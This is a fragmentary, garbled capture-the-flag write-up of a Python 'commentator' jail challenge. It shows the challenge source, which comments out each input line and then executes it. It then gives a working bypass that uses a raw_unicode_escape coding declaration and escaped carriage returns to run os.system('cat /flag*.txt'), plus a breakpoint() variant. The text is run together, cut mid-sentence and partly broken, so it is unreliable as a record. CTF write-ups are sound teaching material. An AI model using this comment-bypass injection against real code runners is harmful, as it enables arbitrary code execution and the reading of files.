\n# to each line of the received input to comment it out, saves it as a Python file, and executes it.#!/usr/local/bin/python\n\nimport os\nimport uuid\n\n############################## Logo ##############################\nprint(\n f\"\"\" _ _ __\n ___ ___ _ __ ___ _ __ ___ ___ _ __ | |_ __ _| |_ ___ _ __ _ \\\\ \\\\\n / __/ _ \\\\| '_ ` _ \\\\| '_ ` _ \\\\ / _ \\\\ '_ \\\\| __/ _` | __/ _ \\\\| '__| (_) | |\n| (_| (_) | | | | | | | | | | | __/ | | | || (_| | || (_) | | _ | |\n \\\\___\\\\___/|_| |_| |_|_| |_| |_|\\\\___|_| |_|\\\\__\\\\__,_|\\\\__\\\\___/|_| (_) | |\n /_/\n{\"-\" * 75}\nEnter your Python code (ends with __EOF__)\"\"\"\n)\n############################## Logo ##############################\n\npython = \"\"\nwhile True:\n line = input(\">>> \").replace(\"\\r\", \"\")\n if \"__EOF__\" in line:\n python += 'print(\"thx :)\")'\n break\n python += f\"# {line}\\n\" # comment :)\n\npyfile = f\"/tmp/{uuid.uuid4()}.py\"\nwith open(pyfile, \"w\") as f:\n f.write(python)\n\nos.system(f\"python {pyfile}\")\nos.remove(pyfile)\\n, using \\r could bypass the # prepending and allow execution of arbitrary Python code..replace(\"\\r\", \"\") removes \\r, so this approach cannot be used.os.system(f\"python {pyfile}\"), I confirmed that the #coding: directive still takes effect.#coding: in a Python script file, I found the following information.\n
\ncoding: raw_unicode_escape on the first line to set the script encoding to raw_unicode_escape, then used the Unicode character \\u000d to insert a carriage return without triggering the \\r removal, thereby enabling arbitrary Python code execution.coding: raw_unicode_escape\n\\u000dimport os\n\\u000dos.system(\"cat /flag*.txt\")\n__EOF__#coding: raw_unicode_escape and sending byte characters in Unicode notation.#coding: raw_unicode_escape\nx='PEKO\\u0027\\u002b\\u0062\\u0072\\u0065\\u0061\\u006b\\u0070\\u006f\\u0069\\u006e\\u0074\\u0028\\u0029\\u002b\\u0027'Summary
\n